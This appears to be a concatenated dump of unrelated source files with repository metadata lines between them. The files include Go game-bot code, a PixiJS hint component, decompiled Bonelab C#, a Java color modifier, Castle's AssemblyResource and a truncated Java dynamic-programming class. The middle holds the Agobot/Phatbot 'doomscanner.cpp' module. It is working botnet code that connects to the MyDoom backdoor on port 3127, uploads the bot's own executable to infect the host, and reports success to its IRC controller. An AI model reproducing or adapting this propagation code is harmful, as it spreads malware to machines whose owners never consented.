items ...VendorItemRequest) error { ctx := context.Get() ctx.SetLastAction("BuyAtVendor") err := InteractNPC(vendor) if err != nil { return err } // Jamella trade button is the first one if vendor == npc.Jamella { ctx.HID.KeySequence(win.VK_HOME, win.VK_DOWN, win.VK_RETURN) } else { ctx.HID.KeySequence(win.VK_HOME, win.VK_DOWN, win.VK_RETURN) } for _, i := range items { SwitchStashTab(i.Tab) itm, found := ctx.Data.Inventory.Find(i.Item, item.LocationVendor) if found { town.BuyItem(itm, i.Quantity) } else { ctx.Logger.Warn("Item not found in vendor", slog.String("Item", string(i.Item))) } } return step.CloseAllMenus() } type VendorItemRequest struct { Item item.Name Quantity int Tab int // At this point I have no idea how to detect the Tab the Item is in the vendor (1-4) } func shouldVisitVendor() bool { ctx := context.Get() ctx.SetLastStep("shouldVisitVendor") // Check if we should sell junk if len(town.ItemsToBeSold()) > 0 { return true } // Skip the vendor if we don't have enough gold to do anything... this is not the optimal scenario, // but I have no idea how to check vendor Item prices. if ctx.Data.PlayerUnit.TotalPlayerGold() < 1000 { return false } return ctx.BeltManager.ShouldBuyPotions() || town.ShouldBuyTPs() || town.ShouldBuyIDs() }
1
0.943682
1
0.943682
game-dev
MEDIA
0.954073
game-dev
0.940083
1
0.940083
CyberDex/pixi-game-ui
4,155
src/components/Hint.ts
import { Layout } from '@pixi/layout'; import gsap, { Back } from 'gsap'; import { Sprite } from 'pixi.js'; import { colors } from '../config/colors'; import { defaultFont } from '../config/texts'; /** Layout based component to show prompts or dialogs. */ export class Hint extends Layout { private startY!: number; // initial y position of the hint, used to reset it before and after tweening constructor( text: string, // text to show in the hint type: 'up' | 'down' = 'down', // type of the hint, up or down ) { const hint = type === 'down' ? Sprite.from('HintDown') // sprite for the down hint : Sprite.from(`Hint`); // sprite for the up hint super({ // Layout constructor accepts an object with all the config content: { // content is an object with all the layers of the hint text: { // text is the id of the layer content: text, // layout content is a string (this will be converted to pixi Text) styles: { // styles is an object with all the styles that will be applied to the layer position: type === 'down' ? 'center' : 'centerTop', // center Layout in the middle ot the top of parent basing on the type color: colors.text, // color of the text fontSize: 45, // font size of the text fontFamily: defaultFont, // font family of the text stroke: { width: 8, color: colors.disabledStroke }, // stroke color of the text and thickness marginTop: 12, // set margin top to 18px }, }, }, styles: { // styles is an object with all the styles that will be applied to the layout position: 'left', // position Layout to the left of parent background: hint, // background is a sprite marginLeft: 25, // set margin left to 25px marginTop: 120, // set margin top to 120px }, }); this.startY = hint.height - 20; // set initial y position of the hint } /** Method is automatically called when Layout is shown. (See Game.ts) */ public async show(force = false) { // force is a boolean that indicates if the hint should be shown without tweening if (this.alpha === 1) return; // if the hint is already visible, return gsap.killTweensOf(this); // kill all tweens of the hint if (force) { // if force is true, show the hint without tweening this.alpha = 1; // set alpha to 1 return; } // set initial animation state values this.alpha = 0; // set alpha to 0 this.y = this.startY + 20; // set y position to initial y position + 20px await gsap.to(this, { // tween the hint alpha: 1, // set alpha to 1 y: '-=20', // set y position to initial y position duration: 0.2, // tween duration ease: Back.easeOut.config(1.7), // tween ease }); } /** Method is automatically called when Layout is hidden. See Game.ts */ public async hide(force = false) { // force is a boolean that indicates if the hint should be hidden without tweening if (this.alpha === 0) return; // if the hint is already hidden, return gsap.killTweensOf(this); // kill all tweens of the hint if (force) { // if force is true, hide the hint without tweening this.alpha = 0; // set alpha to 0 return; } await gsap.to(this, { // tween the hint alpha: 0, // set alpha to 0 y: `+=20`, // set y position to initial y position + 20px duration: 0.2, // tween duration ease: Back.easeIn.config(1.7), // tween ease }); this.y = this.startY - 20; // set y position to initial y position - 20px } }
1
0.889062
1
0.889062
game-dev
MEDIA
0.818937
game-dev
0.984735
1
0.984735
notnotnotswipez/Marrow-ExtendedSDK-MAINTAINED
4,894
Scripts/Assembly-CSharp/SLZ/Bonelab/JimmyDoorController.cs
using System; using System.Collections; using System.Collections.Generic; using System.Diagnostics; using System.Runtime.CompilerServices; using SLZ.Marrow; using SLZ.Marrow.Audio; using SLZ.Marrow.Warehouse; using UnityEngine; using UnityEngine.Events; namespace SLZ.Bonelab { public class JimmyDoorController : MonoBehaviour { [CompilerGenerated] private sealed class _003CDoorSequence_003Ed__41 : IEnumerator<object>, IEnumerator, IDisposable { private int _003C_003E1__state; private object _003C_003E2__current; public JimmyDoorController _003C_003E4__this; private Vector3 _003CstartPos_003E5__2; private Vector3 _003CendPos_003E5__3; private float _003CyoinkTime_003E5__4; private object System_002ECollections_002EGeneric_002EIEnumerator_003CSystem_002EObject_003E_002ECurrent { [DebuggerHidden] get { return null; } } private object System_002ECollections_002EIEnumerator_002ECurrent { [DebuggerHidden] get { return null; } } public object Current => throw new NotImplementedException(); [DebuggerHidden] public _003CDoorSequence_003Ed__41(int _003C_003E1__state) { } [DebuggerHidden] private void System_002EIDisposable_002EDispose() { } private bool MoveNext() { return false; } [DebuggerHidden] private void System_002ECollections_002EIEnumerator_002EReset() { } bool IEnumerator.MoveNext() { throw new NotImplementedException(); } public void Reset() { throw new NotImplementedException(); } public void Dispose() { throw new NotImplementedException(); } } [CompilerGenerated] private sealed class _003CDoorSequenceByPass_003Ed__43 : IEnumerator<object>, IEnumerator, IDisposable { private int _003C_003E1__state; private object _003C_003E2__current; public JimmyDoorController _003C_003E4__this; private object System_002ECollections_002EGeneric_002EIEnumerator_003CSystem_002EObject_003E_002ECurrent { [DebuggerHidden] get { return null; } } private object System_002ECollections_002EIEnumerator_002ECurrent { [DebuggerHidden] get { return null; } } public object Current => throw new NotImplementedException(); [DebuggerHidden] public _003CDoorSequenceByPass_003Ed__43(int _003C_003E1__state) { } [DebuggerHidden] private void System_002EIDisposable_002EDispose() { } private bool MoveNext() { return false; } [DebuggerHidden] private void System_002ECollections_002EIEnumerator_002EReset() { } bool IEnumerator.MoveNext() { throw new NotImplementedException(); } public void Reset() { throw new NotImplementedException(); } public void Dispose() { throw new NotImplementedException(); } } public Seat seat; public Rigidbody rb; public Transform leashPoint; public GauntletElevator elevator; public GameControl_BigAnomalyA gameControl; public float seatingLength; public float yoinkLength; public AnimationCurve lerpDistanceCurve; public AnimationCurve lerpHeightCurve; public GameObject targetRot; public ParticleSystem windBlast; public AudioClip[] doorSFX; public AudioClip portalSFX; private AudioPlayer ap1; private AudioPlayer ap2; public UnityEvent YoinkEvent; public UnityEvent LeashEvent; private RigManager rM; private IEnumerator sequence; private int moduleIndex; private Renderer fxRenderer; private float sequenceStartTime; private LevelCrate level; private float animTime; private int triggerLayer; private bool unseat; private bool isSeated; private bool portalSound; private bool isInTrigger; private bool isYoinkReady; private bool canLeashPlayer; private Vector3 debugGizmo1; private Vector3 debugGizmo2; private Vector3 debugGizmo3; private Vector3 debugGizmo4; private Vector3 debugGizmo5; private Vector3 debugGizmo6; private void Start() { } public void TRIGGERENTER() { } public void TRIGGEREXIT() { } public void STARTYOINK() { } [IteratorStateMachine(typeof(_003CDoorSequence_003Ed__41))] private IEnumerator DoorSequence() { return null; } public void LeashPlayer() { } [IteratorStateMachine(typeof(_003CDoorSequenceByPass_003Ed__43))] private IEnumerator DoorSequenceByPass() { return null; } public Vector3 FindNearestPointOnLine(Vector3 origin, Vector3 vector, Vector3 point) { return default(Vector3); } } }
1
0.625597
1
0.625597
game-dev
MEDIA
0.668247
game-dev
0.531719
1
0.531719
malwares/Botnet
3,966
Phatbot-stoney/Phatbot-stoney/doomscanner.cpp
/* Agobot3 - a modular IRC bot for Win32 / Linux Copyright (c) 2003 Ago All rights reserved. This is private software, you may redistribute it under the terms of the APL(Ago's Private License) which follows: Redistribution and use in binary forms, with or without modification, are permitted provided that the following conditions are met: 1. The name of the author may not be used to endorse or promote products derived from this software without specific prior written permission. 2. The binary may not be sold and/or given away for free. 3. The licensee may only create binaries for his own usage, not for any third parties. Redistribution and use in source forms, with or without modification, are not permitted. THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "main.h" #include "mainctrl.h" #include "utility.h" class CScannerDoom : public CScannerBase { public: CScannerDoom(); virtual ~CScannerDoom() throw() { } bool Exploit(); }; /* Doom Scanner starts here scans for backdoor left behind by MyDoom and tries to exploit it by sending \x85\x13\x3C\x9E\xA2+EXE File Contents to the remote host and hoping it happily executes it. */ #define DOOM_DEFAULT_PORT 3127 char doom_header[]= "\x85\x13\x3C\x9E\xA2"; int MapFile(const char *szFile, char **szBuffer) { // Try to open the file FILE *fp=fopen(szFile, "rb"); if(!fp) return 0; // Get the file size fseek(fp, 0, SEEK_END); int iFileSize=(int)ftell(fp); fseek(fp, 0, SEEK_SET); // Allocate the memory for the mapping *szBuffer=(char*)malloc(iFileSize); if(!*szBuffer) { fclose(fp); return 0; } // Read the file into memory if(fread(*szBuffer, sizeof(char), iFileSize, fp)<iFileSize) { fclose(fp); return 0; } // Close the file and return fclose(fp); return iFileSize; } void UnmapFile(char *szBuffer) { // Free the memory for the file free(szBuffer); } CScannerDoom::CScannerDoom() { m_szType="CScannerDoom"; m_sScannerName.Assign("Doom"); } bool CScannerDoom::Exploit() { char szReqBuf[4096]; if(!IsPrivate(g_pMainCtrl->m_cIRC.m_sLocalIp.CStr()) && IsPrivate(m_sSocket.m_szHost)) return false; char szBuffer[MAX_PATH]; GetFilename(szBuffer, sizeof(szBuffer)); char *szFileContents=NULL; int iFileContentsSize=MapFile(szBuffer, &szFileContents); if(iFileContentsSize) { // Connect to the server if(!m_sSocket.Connect(m_sSocket.m_szHost, DOOM_DEFAULT_PORT)) // Connect failed, exit { UnmapFile(szFileContents); return false; } // Send the doom header if(!m_sSocket.Write(doom_header, sizeof(doom_header)-1)) { m_sSocket.Disconnect(); UnmapFile(szFileContents); return false; } // Send the file int iSendPos=0, iFileSize=iFileContentsSize; while(iFileContentsSize>1024) { if(!m_sSocket.Write(szFileContents+iSendPos, 1024)) { m_sSocket.Disconnect(); UnmapFile(szFileContents); return false; } iSendPos+=1024; iFileContentsSize-=1024; } if(!m_sSocket.Write(szFileContents+iSendPos, iFileSize-iSendPos)) { m_sSocket.Disconnect(); UnmapFile(szFileContents); return false; } if (g_pMainCtrl->m_cBot.scaninfo_level.iValue >= 2) { SendLocal("%s: exploited %s", m_sScannerName.CStr(), m_sSocket.m_szHost); } m_sSocket.Disconnect(); } UnmapFile(szFileContents); return false; } REGSCANNER(Doom_3127, Doom, 3127, true, true)
1
0.93882
1
0.93882
game-dev
MEDIA
0.653847
game-dev,networking
0.944309
1
0.944309
roubincode/ETCore
7,505
ETClient/Unity/Assets/ETFramework/ETCore/Base/Async/AsyncETTaskMethodBuilder.cs
using System; using System.Diagnostics; using System.Runtime.CompilerServices; using System.Security; namespace ETModel { public struct AsyncETTaskMethodBuilder { private ETTaskCompletionSource tcs; private Action moveNext; // 1. Static Create method. [DebuggerHidden] public static AsyncETTaskMethodBuilder Create() { AsyncETTaskMethodBuilder builder = new AsyncETTaskMethodBuilder(); return builder; } // 2. TaskLike Task property. [DebuggerHidden] public ETTask Task { get { if (this.tcs != null) { return this.tcs.Task; } if (moveNext == null) { return ETTask.CompletedTask; } this.tcs = new ETTaskCompletionSource(); return this.tcs.Task; } } // 3. SetException [DebuggerHidden] public void SetException(Exception exception) { if (this.tcs == null) { this.tcs = new ETTaskCompletionSource(); } if (exception is OperationCanceledException ex) { this.tcs.TrySetCanceled(ex); } else { this.tcs.TrySetException(exception); } } // 4. SetResult [DebuggerHidden] public void SetResult() { if (moveNext == null) { } else { if (this.tcs == null) { this.tcs = new ETTaskCompletionSource(); } this.tcs.TrySetResult(); } } // 5. AwaitOnCompleted [DebuggerHidden] public void AwaitOnCompleted<TAwaiter, TStateMachine>(ref TAwaiter awaiter, ref TStateMachine stateMachine) where TAwaiter : INotifyCompletion where TStateMachine : IAsyncStateMachine { if (moveNext == null) { if (this.tcs == null) { this.tcs = new ETTaskCompletionSource(); // built future. } var runner = new MoveNextRunner<TStateMachine>(); moveNext = runner.Run; runner.StateMachine = stateMachine; // set after create delegate. } awaiter.OnCompleted(moveNext); } // 6. AwaitUnsafeOnCompleted [DebuggerHidden] [SecuritySafeCritical] public void AwaitUnsafeOnCompleted<TAwaiter, TStateMachine>(ref TAwaiter awaiter, ref TStateMachine stateMachine) where TAwaiter : ICriticalNotifyCompletion where TStateMachine : IAsyncStateMachine { if (moveNext == null) { if (this.tcs == null) { this.tcs = new ETTaskCompletionSource(); // built future. } var runner = new MoveNextRunner<TStateMachine>(); moveNext = runner.Run; runner.StateMachine = stateMachine; // set after create delegate. } awaiter.UnsafeOnCompleted(moveNext); } // 7. Start [DebuggerHidden] public void Start<TStateMachine>(ref TStateMachine stateMachine) where TStateMachine : IAsyncStateMachine { stateMachine.MoveNext(); } // 8. SetStateMachine [DebuggerHidden] public void SetStateMachine(IAsyncStateMachine stateMachine) { } } public struct ETAsyncTaskMethodBuilder<T> { private T result; private ETTaskCompletionSource<T> tcs; private Action moveNext; // 1. Static Create method. [DebuggerHidden] public static ETAsyncTaskMethodBuilder<T> Create() { var builder = new ETAsyncTaskMethodBuilder<T>(); return builder; } // 2. TaskLike Task property. [DebuggerHidden] public ETTask<T> Task { get { if (this.tcs != null) { return new ETTask<T>(this.tcs); } if (moveNext == null) { return new ETTask<T>(result); } this.tcs = new ETTaskCompletionSource<T>(); return this.tcs.Task; } } // 3. SetException [DebuggerHidden] public void SetException(Exception exception) { if (this.tcs == null) { this.tcs = new ETTaskCompletionSource<T>(); } if (exception is OperationCanceledException ex) { this.tcs.TrySetCanceled(ex); } else { this.tcs.TrySetException(exception); } } // 4. SetResult [DebuggerHidden] public void SetResult(T ret) { if (moveNext == null) { this.result = ret; } else { if (this.tcs == null) { this.tcs = new ETTaskCompletionSource<T>(); } this.tcs.TrySetResult(ret); } } // 5. AwaitOnCompleted [DebuggerHidden] public void AwaitOnCompleted<TAwaiter, TStateMachine>(ref TAwaiter awaiter, ref TStateMachine stateMachine) where TAwaiter : INotifyCompletion where TStateMachine : IAsyncStateMachine { if (moveNext == null) { if (this.tcs == null) { this.tcs = new ETTaskCompletionSource<T>(); // built future. } var runner = new MoveNextRunner<TStateMachine>(); moveNext = runner.Run; runner.StateMachine = stateMachine; // set after create delegate. } awaiter.OnCompleted(moveNext); } // 6. AwaitUnsafeOnCompleted [DebuggerHidden] [SecuritySafeCritical] public void AwaitUnsafeOnCompleted<TAwaiter, TStateMachine>(ref TAwaiter awaiter, ref TStateMachine stateMachine) where TAwaiter : ICriticalNotifyCompletion where TStateMachine : IAsyncStateMachine { if (moveNext == null) { if (this.tcs == null) { this.tcs = new ETTaskCompletionSource<T>(); // built future. } var runner = new MoveNextRunner<TStateMachine>(); moveNext = runner.Run; runner.StateMachine = stateMachine; // set after create delegate. } awaiter.UnsafeOnCompleted(moveNext); } // 7. Start [DebuggerHidden] public void Start<TStateMachine>(ref TStateMachine stateMachine) where TStateMachine : IAsyncStateMachine { stateMachine.MoveNext(); } // 8. SetStateMachine [DebuggerHidden] public void SetStateMachine(IAsyncStateMachine stateMachine) { } } }
1
0.942158
1
0.942158
game-dev
MEDIA
0.665099
game-dev
0.936463
1
0.936463
castleproject/Core
4,122
src/Castle.Core/Core/Resource/AssemblyResource.cs
// Copyright 2004-2021 Castle Project - http://www.castleproject.org/ // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. namespace Castle.Core.Resource { using System; using System.Globalization; using System.IO; using System.Reflection; public class AssemblyResource : AbstractStreamResource { private string assemblyName; private string resourcePath; private string basePath; public AssemblyResource(CustomUri resource) { CreateStream = delegate { return CreateResourceFromUri(resource, null); }; } public AssemblyResource(CustomUri resource, string basePath) { CreateStream = delegate { return CreateResourceFromUri(resource, basePath); }; } public AssemblyResource(string resource) { CreateStream = delegate { return CreateResourceFromPath(resource, basePath); }; } public override IResource CreateRelative(string relativePath) { throw new NotImplementedException(); } public override string ToString() { return string.Format(CultureInfo.CurrentCulture, "AssemblyResource: [{0}] [{1}]", assemblyName, resourcePath); } private Stream CreateResourceFromPath(string resource, string path) { if (!resource.StartsWith("assembly" + CustomUri.SchemeDelimiter, StringComparison.CurrentCulture)) { resource = "assembly" + CustomUri.SchemeDelimiter + resource; } return CreateResourceFromUri(new CustomUri(resource), path); } private Stream CreateResourceFromUri(CustomUri resourcex, string path) { if (resourcex == null) throw new ArgumentNullException(nameof(resourcex)); assemblyName = resourcex.Host; resourcePath = ConvertToResourceName(assemblyName, resourcex.Path); Assembly assembly = ObtainAssembly(assemblyName); string[] names = assembly.GetManifestResourceNames(); string nameFound = GetNameFound(names); if (nameFound == null) { resourcePath = resourcex.Path.Replace('/', '.').Substring(1); nameFound = GetNameFound(names); } if (nameFound == null) { string message = string.Format(CultureInfo.InvariantCulture, "The assembly resource {0} could not be located", resourcePath); throw new ResourceException(message); } basePath = ConvertToPath(resourcePath); return assembly.GetManifestResourceStream(nameFound); } private string GetNameFound(string[] names) { string nameFound = null; foreach(string name in names) { if (string.Equals(resourcePath, name, StringComparison.OrdinalIgnoreCase)) { nameFound = name; break; } } return nameFound; } private string ConvertToResourceName(string assembly, string resource) { assembly = GetSimpleName(assembly); // TODO: use path for relative name construction return string.Format(CultureInfo.CurrentCulture, "{0}{1}", assembly, resource.Replace('/', '.')); } private string GetSimpleName(string assembly) { int indexOfComma = assembly.IndexOf(','); if(indexOfComma<0) { return assembly; } return assembly.Substring(0, indexOfComma); } private string ConvertToPath(string resource) { string path = resource.Replace('.', '/'); if (path[0] != '/') { path = string.Format(CultureInfo.CurrentCulture, "/{0}", path); } return path; } private static Assembly ObtainAssembly(string assemblyName) { try { return Assembly.Load(assemblyName); } catch (Exception ex) { string message = string.Format(CultureInfo.InvariantCulture, "The assembly {0} could not be loaded", assemblyName); throw new ResourceException(message, ex); } } } }
1
0.676657
1
0.676657
game-dev
MEDIA
0.294853
game-dev
0.832079
1
0.832079
Athlaeos/ValhallaMMO
7,034
core/src/main/java/me/athlaeos/valhallammo/crafting/dynamicitemmodifiers/implementations/item_misc/ColorRGB.java
package me.athlaeos.valhallammo.crafting.dynamicitemmodifiers.implementations.item_misc; import me.athlaeos.valhallammo.crafting.dynamicitemmodifiers.DynamicItemModifier; import me.athlaeos.valhallammo.crafting.dynamicitemmodifiers.ModifierCategoryRegistry; import me.athlaeos.valhallammo.crafting.dynamicitemmodifiers.ModifierContext; import me.athlaeos.valhallammo.dom.Pair; import me.athlaeos.valhallammo.item.ItemBuilder; import me.athlaeos.valhallammo.utility.ItemUtils; import me.athlaeos.valhallammo.utility.Utils; import me.athlaeos.valhallammo.version.ConventionUtils; import org.bukkit.Color; import org.bukkit.Material; import org.bukkit.command.CommandSender; import org.bukkit.event.inventory.InventoryClickEvent; import org.bukkit.inventory.ItemStack; import org.bukkit.inventory.meta.ItemMeta; import org.bukkit.material.Colorable; import java.util.Collection; import java.util.List; import java.util.Map; import java.util.Set; public class ColorRGB extends DynamicItemModifier { private int red = 0; private int green = 0; private int blue = 0; public ColorRGB(String name) { super(name); } @Override public void processItem(ModifierContext context) { context.getItem().color(Color.fromRGB(red, green, blue)); } @Override public void onButtonPress(InventoryClickEvent e, int button) { if (button == 11 || button == 12 || button == 13) { ItemStack cursor = e.getCursor(); if (!ItemUtils.isEmpty(cursor)) { ItemMeta meta = cursor.getItemMeta(); if (meta instanceof Colorable c && c.getColor() != null) { Color color = c.getColor().getColor(); red = color.getRed(); green = color.getGreen(); blue = color.getBlue(); } } else { if (button == 11) red = Math.min(255, Math.max(0, red + ((e.isLeftClick() ? 1 : -1) * (e.isShiftClick() ? 25 : 1)))); else if (button == 12) green = Math.min(255, Math.max(0, green + ((e.isLeftClick() ? 1 : -1) * (e.isShiftClick() ? 25 : 1)))); else blue = Math.min(255, Math.max(0, blue + ((e.isLeftClick() ? 1 : -1) * (e.isShiftClick() ? 25 : 1)))); } } } @Override public Map<Integer, ItemStack> getButtons() { String hex = Utils.rgbToHex(red, green, blue); return new Pair<>(11, new ItemBuilder(Material.POTION) .name("&cHow red should it be?") .lore("&6Click with another item to copy", "&6its custom model data over.", "&fSet to &" + hex + hex, "&c" + red + "&7| &a" + green + "&7| &b" + blue, "&6Click to add/subtract 1000000", "&6Shift-Click to add/subtract 100000") .color(Color.fromRGB(red, green, blue)) .flag(ConventionUtils.getHidePotionEffectsFlag()) .get()).map(Set.of( new Pair<>(12, new ItemBuilder(Material.POTION) .name("&aHow green should it be?") .lore("&6Click with another item to copy", "&6its custom model data over.", "&fSet to &" + hex + hex, "&c" + red + "&7| &a" + green + "&7| &b" + blue, "&6Click to add/subtract 10000", "&6Shift-Click to add/subtract 1000") .color(Color.fromRGB(red, green, blue)) .flag(ConventionUtils.getHidePotionEffectsFlag()) .get()), new Pair<>(13, new ItemBuilder(Material.POTION) .name("&bHow blue should it be?") .lore("&6Click with another item to copy", "&6its custom model data over.", "&fSet to &" + hex + hex, "&c" + red + "&7| &a" + green + "&7| &b" + blue, "&6Click to add/subtract 25", "&6Shift-Click to add/subtract 1") .color(Color.fromRGB(red, green, blue)) .flag(ConventionUtils.getHidePotionEffectsFlag()) .get()) )); } @Override public ItemStack getModifierIcon() { return new ItemBuilder(Material.POTION).flag(ConventionUtils.getHidePotionEffectsFlag()).get(); } @Override public String getDisplayName() { return "&aSet Leather/Potion Color (RGB)"; } @Override public String getDescription() { return "&fSets a custom leather or potion color to the item"; } @Override public String getActiveDescription() { String hex = Utils.rgbToHex(red, green, blue); return "&fSets the custom color of the item to &" + hex + hex; } @Override public Collection<String> getCategories() { return Set.of(ModifierCategoryRegistry.ITEM_MISC.id(), ModifierCategoryRegistry.POTION_MISC.id()); } public void setRed(int red) { this.red = red; } public void setBlue(int blue) { this.blue = blue; } public void setGreen(int green) { this.green = green; } @Override public DynamicItemModifier copy() { ColorRGB m = new ColorRGB(getName()); m.setRed(this.red); m.setGreen(this.green); m.setBlue(this.blue); m.setPriority(this.getPriority()); return m; } @Override public String parseCommand(CommandSender executor, String[] args) { if (args.length != 3) return "Three arguments are expected: all integers representing the RGB values of the item"; try { red = Integer.parseInt(args[0]); green = Integer.parseInt(args[1]); blue = Integer.parseInt(args[2]); } catch (IllegalArgumentException ignored) { return "Three arguments are expected: all integers representing the RGB values of the item. One of them is not a number"; } return null; } @Override public List<String> commandSuggestions(CommandSender executor, int currentArg) { if (currentArg == 0) return List.of("<red>"); if (currentArg == 1) return List.of("<green>"); if (currentArg == 2) return List.of("<blue>"); return null; } @Override public int commandArgsRequired() { return 3; } }
1
0.824535
1
0.824535
game-dev
MEDIA
0.958298
game-dev
0.977356
1
0.977356
lifejwang11/easyAi
11,708
src/main/java/org/dromara/easyai/gameRobot/DynamicProgramming.java
package org.dromara.easyai.gameRobot; import org.dromara.easyai.matrixTools.Matrix; import java.util.*; /** * @author lidapeng * @description 动态规划 * @date 10:25 上午 2022/9/12 */ public class DynamicProgramming { private final List<DynamicState> dynamicStateList = new ArrayList<>();//状态集合 private final Map<Integer, Action> actionMap = new HashMap<>();//动作列表 private final List<Integer> bestStrategy = new ArrayList<>();//最佳策略 private float gaMa = 0.5F; //贴现因子 private float valueTh = 0.0001f;//价值阈值 private int maxTimes = 500;//策略改进最大迭代次数 public void setMaxTimes(int maxTimes) { this.maxTimes = maxTimes; } public void setValueTh(float valueTh) { this.valueTh = valueTh; } public void setGaMa(float gaMa) { this.gaMa = gaMa; } public List<DynamicState> getDynamicStateList() { return dynamicStateList; } public Map<Integer, Action> getActionMap() { return actionMap; } public void gameStart() {//遍历所有状态 for (DynamicState dynamicState : dynamicStateList) { if (!dynamicState.isFinish()) { dynamicState.add();//被执行次数+1 Map<Integer, List<DynamicState>> sonStatesMap = dynamicState.getSonStatesMap();//动作-子状态集合 被执行的时候需要修改 int[] stateId = dynamicState.getStateId(); for (Map.Entry<Integer, Action> actionEntry : actionMap.entrySet()) { Action action = actionEntry.getValue(); int actionId = action.getActionId();//动作id List<int[]> stateList = action.action(stateId); for (int[] myStateId : stateList) { DynamicState state = getStateByStateId(myStateId);//经过动作产生的新状态 //产生一个新的动作-子状态合集的元素 if (sonStatesMap.containsKey(actionId)) {//在动作集合里 List<DynamicState> dynamicStates = sonStatesMap.get(actionId); if (!isHere(dynamicStates, state.getStateId())) { dynamicStates.add(state); } } else {//创建动作-子状态集合 List<DynamicState> dynamicStateList = new ArrayList<>(); dynamicStateList.add(state); sonStatesMap.put(actionId, dynamicStateList); } Map<Integer, Integer> profitMap = state.getProfitMap();//该状态的收益集合,主键是收益,值是次数 被执行的时候需要修改 state.add(); //产生一个新的收益 int profit = action.getProfit(stateId); if (profitMap.containsKey(profit)) { profitMap.put(profit, profitMap.get(profit) + 1); } else { profitMap.put(profit, 1); } } } } } } public Matrix getValueMatrix() throws Exception {//获取价值矩阵 int size = dynamicStateList.size(); int maxX = 0, maxY = 0; for (int i = 0; i < size; i++) { DynamicState dynamicState = dynamicStateList.get(i); int[] stateId = dynamicState.getStateId(); int x = stateId[0]; int y = stateId[1]; if (x > maxX) { maxX = x; } if (y > maxY) { maxY = y; } } Matrix matrix = new Matrix(maxY + 1, maxX + 1); for (int i = 0; i < size; i++) { DynamicState dynamicState = dynamicStateList.get(i); int[] stateId = dynamicState.getStateId(); float value = dynamicState.getValue(); matrix.setNub(stateId[1], stateId[0], value); } return matrix; } public List<ValueFunction> getValueFunction() {//获取价值函数 List<ValueFunction> valueFunctions = new ArrayList<>(); int size = dynamicStateList.size(); for (int i = 0; i < size; i++) { DynamicState dynamicState = dynamicStateList.get(i); ValueFunction valueFunction = new ValueFunction(); valueFunction.setStateId(dynamicState.getStateId()); valueFunction.setValue(dynamicState.getValue()); valueFunctions.add(valueFunction); } return valueFunctions; } public List<Integer> getBestAction(int[] stateId) {//根据当前环境获取策略 List<Integer> actions = new ArrayList<>(); DynamicState state = getStateByStateId(stateId);//当前的环境 if (state != null) { Map<Integer, List<DynamicState>> sonStatesMap = state.getSonStatesMap(); float maxValue = 0;//最大价值 boolean isFirstOne = true; for (Map.Entry<Integer, List<DynamicState>> entry : sonStatesMap.entrySet()) { List<DynamicState> sonStates = entry.getValue();//子状态 float maxValue2 = 0;//actionId 的最大价值 boolean isFirstTwo = true; for (DynamicState dynamicState : sonStates) { float myValue = dynamicState.getValue(); if (myValue > maxValue2 || isFirstTwo) { isFirstTwo = false; maxValue2 = myValue; } } if (maxValue2 > maxValue || isFirstOne) { isFirstOne = false; maxValue = maxValue2; } } //筛选等价值策略 for (Map.Entry<Integer, List<DynamicState>> entry : sonStatesMap.entrySet()) { int actionId = entry.getKey();//动作id List<DynamicState> sonStates = entry.getValue();//子状态 for (DynamicState dynamicState : sonStates) { if (dynamicState.getValue() == maxValue) { actions.add(actionId); break; } } } } return actions; } public void strategyStudy() throws Exception {//策略学习 //记录当前最佳策略 int times = 0; boolean isDifferent = true;//策略是否不同 do { int size = dynamicStateList.size(); for (int i = 0; i < size; i++) { DynamicState dynamicState = dynamicStateList.get(i); if (!dynamicState.isFinish()) { int actionId = getBestStrategyByPro(dynamicState); dynamicState.setBestActionId(actionId);//通过概率获取的当前状态最佳策略 } } if (times > 0) { isDifferent = compareStrategy(); } if (isDifferent) {//新老策略不同,重新评估策略 updateBestStrategy();//更新新策略 strategyEvaluation(); } times++; } while (isDifferent && times < maxTimes); } private boolean isHere(List<DynamicState> dynamicStates, int[] stateId) { boolean isHere = false; for (DynamicState dynamicState : dynamicStates) { if (Arrays.equals(dynamicState.getStateId(), stateId)) { isHere = true; break; } } return isHere; } private DynamicState getStateByStateId(int[] stateId) { DynamicState state = null; for (DynamicState dynamicState : dynamicStateList) { if (Arrays.equals(dynamicState.getStateId(), stateId)) { state = dynamicState; break; } } return state; } private void updateBestStrategy() {//更新最佳策略 int size = dynamicStateList.size(); for (int i = 0; i < size; i++) { DynamicState dynamicState = dynamicStateList.get(i); if (!dynamicState.isFinish()) { bestStrategy.add(dynamicState.getBestActionId()); } else { bestStrategy.add(0); } } } private boolean compareStrategy() {//比较新老策略 int size = dynamicStateList.size(); boolean isDifferent = false; for (int i = 0; i < size; i++) { DynamicState dynamicState = dynamicStateList.get(i); int actionId = bestStrategy.get(i); if (dynamicState.getBestActionId() != actionId) { isDifferent = true; break; } } return isDifferent; } private int getBestStrategyByPro(DynamicState dynamicState) throws Exception {//通过概率获取当前状态下的最佳策略 Map<Integer, List<DynamicState>> sonStatesMap = dynamicState.getSonStatesMap();//动作-子状态集合 float maxValue = 0;//最大价值 boolean isFirst = true; int bestActionId = 0;//最佳动作 for (Map.Entry<Integer, List<DynamicState>> entry : sonStatesMap.entrySet()) { int actionId = entry.getKey();//动作id float value = getValueByAction(dynamicState, actionId);//该动作的价值 if (value > maxValue || isFirst) { isFirst = 